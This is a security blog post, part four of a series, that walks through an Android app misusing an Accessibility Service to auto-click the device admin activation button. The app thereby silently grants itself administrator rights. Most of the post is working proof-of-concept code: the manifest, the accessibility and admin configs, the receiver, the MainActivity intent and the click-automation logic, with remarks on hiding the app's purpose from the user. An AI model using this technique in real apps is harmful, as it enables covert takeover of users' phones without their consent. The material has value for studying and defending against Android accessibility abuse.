Attacking Android Accessibility Service (AAS) - Part IV

~$ cat How_an_Android_app_could_escalate_its_privileges_Part4.txt

This last part about Android Accessibility Service presents the simplest application, and surely the most powerful one of the four. The goal is here to make the app an administrator of the device.

By “administrator”, I don’t mean “root”

The principle remains the same: the malicious app opens the Settings at a specific page, and forces the click on a widget. However, there is no need here to browse through the settings, and it makes the attack really fast, and even easier!

Configuration

As the holy documentation says:

To use the Device Administration API, the app’s manifest must include the following:

• A subclass of DeviceAdminReceiver that includes the following:
  • The BIND_DEVICE_ADMIN permission.
  • The ability to respond to the ACTION_DEVICE_ADMIN_ENABLED intent, expressed in the manifest as an intent filter.
• A declaration of security policies used in metadata.

I created then a class named MyDeviceAdminReceiver extending DeviceAdminReceiver, and registered the <receiver> in the Manifest. And as usual, there is also the custom accessibility service:

<?xml version="1.0" encoding="utf-8"?>
	<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="xyz.noname.spyapp">
		<application
		...<snipped/>...
		<service android:name=".services.CustomAccessibilityService"
			android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
			<intent-filter>
				<action android:name="android.accessibilityservice.AccessibilityService"/>
			</intent-filter>
			<meta-data android:name="android.accessibilityservice"
				android:resource="@xml/accessibility_config"/>
		</service>
		<receiver android:name=".services.MyDeviceAdminReceiver"
			android:permission="android.permission.BIND_DEVICE_ADMIN">
			<meta-data android:name="android.app.device_admin"
				android:resource="@xml/admin_config"/>
			<intent-filter>
				<action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
			</intent-filter>
		</receiver>
	</application>
</manifest>

For the file accessibility_config, nothing new:

<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
	android:packageNames="com.android.settings, xyz.noname.spyapp"
	android:accessibilityEventTypes="typeWindowContentChanged"
	android:accessibilityFeedbackType="feedbackAllMask"
	android:notificationTimeout="100"
	android:canRetrieveWindowContent="true"
	android:accessibilityFlags="flagReportViewIds"/>

We still listening for the typeWindowContentChanged events, on Settings and the malicious app. As usual, I set canRetrieveWindowContent to true, and added flagReportViewIds in order to make it easier.

In the admin_config, I only wrote:

<?xml version="1.0" encoding="utf-8"?>
<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
	<uses-policies>
		<!--xxx-->
	</uses-policies>
</device-admin>

Main activity and Receiver

The DeviceAdminReceiver contains nothing except onReceive, where I only print the action. However, it could be very useful for an attacker, to launch to attack as soon as the admin permission id granted:

public class MyDeviceAdminReceiver extends DeviceAdminReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.e("action", intent.getAction());
		super.onReceive(context, intent);
	}
}

A bunch of callback routines can be used to react depending on the action: onEnabled, onDisable, onDisableRequested, onLockTaskModeEntering etc.

In MainActivity it’s also really simple: we check if the app is already an admin, and if it’s not the case and if the Accessibility Service in On, then the Settings are open at the right page:

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		ComponentName componentName= new ComponentName(this, MyDeviceAdminReceiver.class);
		DevicePolicyManager dmp = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
		if (dmp != null && !dmp.isAdminActive(componentName) && Util.isAccessibilityServiceOn(this)) {
			Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
			intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, componentName);
			startActivityForResult(intent, 1);
		}
		setContentView(R.layout.activity_main);
	}

It’s normally possible to put an extra string explaining why this status is requested by the app, but it’s obviously not the goal in this case.

The custom Accessibility Service

As the Settings opens at this specifig page, the only thing we have to do is to click on “Activate this device admin app”, and to quit. First thing I did was to get the id of this widget:

private static final String ACTIVATE_ADMIN = "com.android.settings:id/action_button";

and then, I used a boolean activate which indicates if the user has landed here because of the malicious app or not. Not need here to recursively scan the page. I used the routine findAccessibilityNodeInfosByViewId which returns a list of widgets having the given id (I then assume that it’s the first one).

Then, a click is performed on this widget or on its parent.

private boolean activate;

@Override
public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
	if (getApplication().getPackageName().equals(accessibilityEvent.getPackageName().toString())){
		this.activate = true;
	}
	else{
		if (!this.activate){
			AccessibilityNodeInfo info = accessibilityEvent.getSource();
			if (info != null){
				List<AccessibilityNodeInfo> list = info.findAccessibilityNodeInfosByViewId(ACTIVATE_ADMIN);
				if (list.size() > 0){
					AccessibilityNodeInfo node = list.get(0);
					if (node.isClickable()){
						this.activate = node.performAction(AccessibilityNodeInfo.ACTION_CLICK);
					}
					else{
						AccessibilityNodeInfo parent = node.getParent();
						while (parent != null && !parent.isClickable()){
							parent = parent.getParent();
						}
						if (parent != null){
							this.activate = parent.performAction(AccessibilityNodeInfo.ACTION_CLICK);
						}
					}
				}
			}
		}
	}
}

Since there are only 2 apps registered in the config file, a simple if/else is sufficient. As soon as the button is clicked, the DeviceAdminReceiver.onReceive is called and the malicious code can be triggered.

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